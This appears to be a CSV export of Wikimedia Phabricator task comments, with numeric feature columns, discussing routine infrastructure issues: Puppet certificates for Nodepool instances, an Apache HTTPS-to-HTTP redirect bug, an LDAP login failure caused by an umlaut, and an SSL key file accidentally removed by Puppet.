+447052,Instances created by Nodepool cant run puppet due to missing certificate,I'm in the process of moving the ldap record creation out of openstackmanager and into a designate callback -- after that's done instances created on the commandline will work the same as those created by the gui.  Many of the pieces of that are already in place; I'll try to pick up the pace a bit.,,,1429623777,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,1,True,,,-11,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+447044,Instances created by Nodepool cant run puppet due to missing certificate,"+ @Andrew
+
+NodePool has support to store key/values in OpenStack metadata service from http://ci.openstack.org/nodepool/configuration.html?highlight=region#images
+```
+lang=yaml
+images:
+  - name: precise
+    base-image: 'Precise'
+    min-ram: 8192
+    name-filter: 'm1.medium'
+    setup: prepare_node.sh
+    reset: reset_node.sh
+    username: jenkins
+    private-key: /var/lib/jenkins/.ssh/id_rsa
+    vvvvvvvvvvvvvvv
+    meta:
+        key: value
+        key2: value
+    ^^^^^^^^^^^^^^^
+```
+
+I gave it a try but apparently the meta informations are not published, or at least they do not show up in the Horizon dashboard.
+
+
+Anyway, the PuppetVar and PuppetClasses are populated by OpenStackManager and I don't think it is a good idea to duplicate them in NodePool configuration file.   Instead I am wondering whether we could have OpenStackManager publish the metadata information and adjust firstboot.sh to fetch them via the `http://169.254.169.254/openstack/latest/meta_data.json` interface.  Tough it yields json :(
+
+From our wikitech.php we have:
+
+```
+lang=php
+$wgOpenStackManagerPuppetOptions = array(
+    'enabled' => true,
+    'defaultclasses' => array( 'base', 'role::labs::instance' ),
+    'defaultvariables' => array( 'realm' => 'labs', 'use_dnsmasq' => 'true' ),
+);
+```",,,1429622569,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1
+95480,Abolish use of ec2id in cert names,Instances that use the new naming scheme <instance>.<project>.eqiad.wmflabs should no longer need the ec2id.  Stamp out its use for any case where use_dnsmasq is false.,Medium,50.0,1428528414,1434638300.0,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-wlfbgumumyghen7n33xh,task_description,resolved,True,c3,1,True,True,True,-13,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+470911,Abolish use of ec2id in cert names,https://gerrit.wikimedia.org/r/#/c/202924/,,,1433785404,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-wlfbgumumyghen7n33xh,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+448921,Abolish use of ec2id in cert names,Note also that nova notifications don't include ec2id.  So in order to support instance creation/deletion via hook we should really move away from ec2ids in ldap.,,,1429905320,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-wlfbgumumyghen7n33xh,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+95164,Apache slash expansion should not redirect from HTTPS to HTTP,"Accessing a url https://integration.wikimedia.org/cover/cdb
+
+Result in
+
+```
+https://integration.wikimedia.org/cover/cdb
+Remote port: 443
+ 301 Moved Permanently
+ Location: http://integration.wikimedia.org/cover/cdb/
+
+http://integration.wikimedia.org/cover/cdb/
+Remote port: 80
+ 301 Moved Permanently
+ Location: https://integration.wikimedia.org/cover/cdb/
+
+https://integration.wikimedia.org/cover/cdb/
+Remote port: 443
+ 200 OK
+```",Medium,50.0,1428323195,1482439190.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-uutewjzyca7lhkrutzzg,task_description,resolved,True,c3,1,True,False,False,-13,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+1631651,Apache slash expansion should not redirect from HTTPS to HTTP,`DirectorySlash` redirecting to http instead of canonical https is #upstream Apache bug [[ https://bz.apache.org/bugzilla/show_bug.cgi?id=61355 | 61355 - DirectorySlash directive should use protocol in X-Forwarded-Proto header when available ]]. We fixed it by adding the protocol scheme in the ServerName: `ServerName https://doc.wikimedia.org`.,,,1607723120,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,True,,,284,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+1209232,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 483775 **merged** by Dzahn:
+[operations/puppet@production] doc: fix Apache redirects to use https
+
+[[https://gerrit.wikimedia.org/r/483775]]",,,1547508955,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,False,,,184,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1207840,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 483775 had a related patch set uploaded (by Hashar; owner: Hashar):
+[operations/puppet@production] doc: fix redirect of dir lacking a trailing slash
+
+[[https://gerrit.wikimedia.org/r/483775]]",,,1547219104,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,False,,,184,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+783014,Apache slash expansion should not redirect from HTTPS to HTTP,"Nowadays:
+
+curl https://integration.wikimedia.org/cover/cdb
+<p>The document has moved <a href=""https://doc.wikimedia.org/cover/cdb"">here</a>.</p>
+
+curl http://integration.wikimedia.org/cover/cdb/
+...  (nothing?)  but in browser i get  https://doc.wikimedia.org/cover/cdb/
+
+curl https://integration.wikimedia.org/cover/cdb/
+<p>The document has moved <a href=""https://doc.wikimedia.org/cover/cdb/"">here</a>.</p>
+
+So it redirects to doc.wm.org and there is no more  HTTPS to HTTP here
+",,,1482439179,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,True,,,77,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1
+762257,Apache slash expansion should not redirect from HTTPS to HTTP,,,,1479340986,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,True,,,72,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+762256,Apache slash expansion should not redirect from HTTPS to HTTP,,,,1479340974,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,3,True,,,72,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+454927,Apache slash expansion should not redirect from HTTPS to HTTP,TLDR:   i fixed it on doc.wikimedia.org but it should still be fixed on integration.wikimedia.org,,,1430944389,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+453719,Apache slash expansion should not redirect from HTTPS to HTTP,"reverted on integration:
+
+same config that works on doc.wm , but here:
+
+after:
+<h1>Forbidden</h1>
+<p>You don't have permission to access /cover/cdb
+
+back to:
+
+curl -vv https://integration.wikimedia.org/cover
+<p>The document has moved <a href=""http://integration.wikimedia.org/cover/"">here</a>.</p>
+
+Is this due to .htaccess files that don't come from puppet competing with the global Apache config?",,,1430783588,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+453713,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 206460 merged by Dzahn:
+integration: Apache turn DirectorySlash Off
+
+[[https://gerrit.wikimedia.org/r/206460]]",,,1430782505,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+453650,Apache slash expansion should not redirect from HTTPS to HTTP,"fixed on doc.wm:
+
+before: curl -vv https://doc.wikimedia.org/mediawiki-core
+The document has moved <a href=""http://doc.wikimedia.org/mediawiki-core/"">here</a>
+
+after: curl -vv https://doc.wikimedia.org/mediawiki-core
+< HTTP/1.1 200 OK
+",,,1430776968,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+453649,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 206832 merged by Dzahn:
+doc.wikimedia.org: fix DirectorySlash https->http
+
+[[https://gerrit.wikimedia.org/r/206832]]",,,1430776732,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+449688,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 206832 had a related patch set uploaded (by Dzahn):
+doc.wikimedia.org: fix DirectorySlash https->http
+
+[[https://gerrit.wikimedia.org/r/206832]]
+",,,1430153811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+448982,Apache slash expansion should not redirect from HTTPS to HTTP,"so either we just turn of DirectorySlash or if we care to keep it, we additionally add ""manual"" rewrite rules to replace that feature but with the right protocol.   (RewriteCond %{REQUEST_FILENAME} -d     .. RewriteRule ^(.+[^/])$          https://www.example.com/$1/  [R=301,L,QSA] )",,,1429910898,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+448969,Apache slash expansion should not redirect from HTTPS to HTTP,"Change 206460 had a related patch set uploaded (by Dzahn):
+integration: Apache turn DirectorySlash Off
+
+[[https://gerrit.wikimedia.org/r/206460]]
+",,,1429909885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uutewjzyca7lhkrutzzg,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+94729,failed icinga/graphite login for Moritz,"Moritz has just been onboarded. His labs/LDAP user is ""jmm""
+
+```
+dn: uid=jmm,ou=people,dc=wikimedia,dc=org
+	uid: jmm
+	cn: Moritz Mühlenhoff
+```
+
+the Apache config for Icinga says:
+
+```
+ 44         AuthLDAPBindDN cn=proxyagent,ou=profile,dc=wikimedia,dc=org
+ 46         AuthLDAPURL ""ldaps://ldap-eqiad.wikimedia.org ldap-codfw.wikimedia.org/ou=people,dc=wikimedia,dc=org?cn""
+ 47         Require ldap-group cn=ops,ou=groups,dc=wikimedia,dc=org
+ 48         Require ldap-group cn=wmf,ou=groups,dc=wikimedia,dc=org
+ 49         Require ldap-group cn=nda,ou=groups,dc=wikimedia,dc=org
+```
+
+He is member in ops and wmf:
+
+```
+[terbium:~] $ ldaplist -l group ops | grep jmm
+	member: uid=jmm,ou=people,dc=wikimedia,dc=org
+[terbium:~] $ ldaplist -l group wmf | grep jmm
+	member: uid=jmm,ou=people,dc=wikimedia,dc=org
+```
+
+but he reports he still can't login. He also can't login on graphite which should use the same auth method.
+
+Why? Is the German umlaut in his name a problem?",Medium,50.0,1427914510,1428509359.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-q2tfqsovehwduwxlaitq,task_description,resolved,True,c3,1,True,True,True,-14,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+440369,failed icinga/graphite login for Moritz,"graphite: Yes, only the HTTP auth part is relevant. Just recently i was wondering the same thing. -> T93158  . so that's done 
+
+icinga: this does have 2 parts, the HTTP auth and then having permissions to do stuff like schedule a downtime, running commands in general.  that is the edit in Icinga's cgi.cfg and since the renaming of your user this change should have fixed that:
+
+https://gerrit.wikimedia.org/r/#/c/202752/
+
+so i will call it resolved, you might want to confirm you can send actual commands in icinga like an ACKnowledgement for something, but it should work and we can always reopen.",,,1428509249,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q2tfqsovehwduwxlaitq,task_subcomment,,True,c3,1,True,,,-13,True,0,1,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+440152,failed icinga/graphite login for Moritz,"My login to Icinga is working fine, this was caused by the umlaut in my original user name (https://phabricator.wikimedia.org/T94717#1186082)
+
+When I log into graphite.wikimedia.org I'm can successfully authenticate at HTTP auth. 
+
+In the top level menu of Graphite there's a ""Login"" button. My wikitech credentials do not work there. I'm unsure if that's supposed to work? If only the HTTP auth is relevant this ticket can be closed. ",,,1428480029,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-q2tfqsovehwduwxlaitq,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+437557,failed icinga/graphite login for Moritz,"Change 201251 merged by Dzahn:
+icinga: give Moritz permissions to run commands
+
+[[https://gerrit.wikimedia.org/r/201251]]",,,1428007399,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q2tfqsovehwduwxlaitq,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+436778,failed icinga/graphite login for Moritz,"Change 201251 had a related patch set uploaded (by Dzahn):
+icinga: give jmm permission to run commands
+
+[[https://gerrit.wikimedia.org/r/201251]]
+",,,1427916297,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q2tfqsovehwduwxlaitq,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+436767,failed icinga/graphite login for Moritz,"In case he needs to be renamed:
+
+Would https://wikitech.wikimedia.org/wiki/Renaming_users still be current ? argg?",,,1427915544,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q2tfqsovehwduwxlaitq,task_subcomment,,True,c3,1,True,,,-14,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+93212,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"In the Tools project, the private key for the SSL certificate was stored in `/etc/ssl/private/star.wmflabs.org.key`.
+
+@faidon's https://gerrit.wikimedia.org/r/#/c/197337/ removed the key file:
+
+```
+Mar 18 01:40:09 tools-webproxy-02 puppet-agent[9237]: Sleeping for 16 seconds (splay is enabled)
+Mar 18 01:40:25 tools-webproxy-02 puppet-agent[9237]: Retrieving plugin
+Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/root_home.rb
+Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/physicalcorecount.rb
+Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/puppet_vardir.rb
+Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/initsystem.rb
+Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/apt.rb
+Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/puppet_config_dir.rb
+Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/lldp.rb
+Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/ec2id.rb
+Mar 18 01:40:29 tools-webproxy-02 puppet-agent[9237]: Loading facts in /var/lib/puppet/lib/facter/pe_version.rb
+Mar 18 01:40:35 tools-webproxy-02 puppet-agent[9237]: Caching catalog for i-000008b8.eqiad.wmflabs
+Mar 18 01:40:36 tools-webproxy-02 puppet-agent[9237]: Applying configuration version '1426642569'
+Mar 18 01:40:39 tools-webproxy-02 puppet-agent[9237]: instanceproject: tools
+Mar 18 01:40:39 tools-webproxy-02 puppet-agent[9237]: (/Stage[main]/Role::Labs::Instance/Notify[instanceproject: tools]/message) defined 'message' as 'instanceproject: tools'
+Mar 18 01:40:42 tools-webproxy-02 puppet-agent[9237]: hostname: tools-webproxy-02
+Mar 18 01:40:42 tools-webproxy-02 puppet-agent[9237]: (/Stage[main]/Role::Labs::Instance/Notify[hostname: tools-webproxy-02]/message) defined 'message' as 'hostname: tools-webproxy-02'
+Mar 18 01:40:53 tools-webproxy-02 puppet-agent[9237]: (/Stage[main]/Toollabs::Proxy/Install_certificate[star.wmflabs.org]/Sslcert::Certificate[star.wmflabs.org]/File[/etc/ssl/private/star.wmflabs.org.key]) Filebucketed /etc/ssl/private/star.wmflabs.org.key to puppet with sum 5e8a34bb0d41cedc7a8cce93e6af777e
+Mar 18 01:40:53 tools-webproxy-02 puppet-agent[9237]: (/Stage[main]/Toollabs::Proxy/Install_certificate[star.wmflabs.org]/Sslcert::Certificate[star.wmflabs.org]/File[/etc/ssl/private/star.wmflabs.org.key]/ensure) removed
+Mar 18 01:40:53 tools-webproxy-02 puppet-agent[9237]: (/Stage[main]/Toollabs::Proxy/Install_certificate[star.wmflabs.org]/Sslcert::Certificate[star.wmflabs.org]/File[/etc/ssl/localcerts/star.wmflabs.org.crt]/group) group changed 'ssl-cert' to 'root'
+Mar 18 01:40:54 tools-webproxy-02 puppet-agent[9237]: Finished catalog run in 18.07 seconds
+```
+
+In outfactoring, `manifests/certs.pp`'s `ensure => present` became `modules/sslcert/manifests/certificate.pp`'s `ensure => absent` when `$privatekey` is `false`.
+
+The key files are preserved by Puppet in the filebucket, but at the moment noone should reboot the proxies :-).
+
+Looking at `operations/puppet` (there may be additional private puppetmasters), this affects `manifests/role/labsproxy.pp`, `manifests/role/protoproxy.pp`, `modules/toollabs/manifests/proxy.pp` and `modules/toollabs/manifests/static.pp`.",Medium,50.0,1426780755,1427349691.0,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_description,resolved,True,c3,1,True,False,True,-15,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,1,0,0,1,0,0,1
+433084,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"Done for dynamicproxy-gateway. It shouldn't leave those machines, tho.",,,1427349691,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,True,,,-14,True,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+430293,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"Done on tools-webproxy-01, -02 and -static. Need to do dynamicproxy-gateway. ",,,1426919647,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-nla5hv4o2ejzc6f25kyx,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+429769,Private SSL key got removed on tools-webproxy-01/tools-webproxy-02 and maybe other Labs instances as well,"I was looking at:
+
+```
+[tim@passepartout ~/src/operations/puppet]$ git grep privatekey
+manifests/certs.pp:    $privatekey=true,
+manifests/certs.pp:    if ( $privatekey == true ) {
+manifests/role/labsproxy.pp:        privatekey => false
+manifests/role/protoproxy.pp:        privatekey => false,
+modules/toollabs/manifests/proxy.pp:        privatekey => false
+modules/toollabs/manifests/static.pp:            privatekey => false,
+[tim@passepartout ~/src/operations/puppet]$
+```
+
+`manifests/role/protoproxy.pp` says:
+
+```
+# The beta cluster also supports HTTPS though in a slightly different setup
+# since labs is lacking LVS support.  Instead the requests on port 443 are
+# handled on each of the caches which have a local nginx proxy terminating
+# the SSL connection and reinject the request on the instance IP address.
+```
+
+and the role `role::protoproxy::ssl::beta::common` indeed has:
+
+```
+    install_certificate { 'star.wmflabs.org':
+        privatekey => false,
+    }
+```
+
+I don't know if and where this role is applied.
+
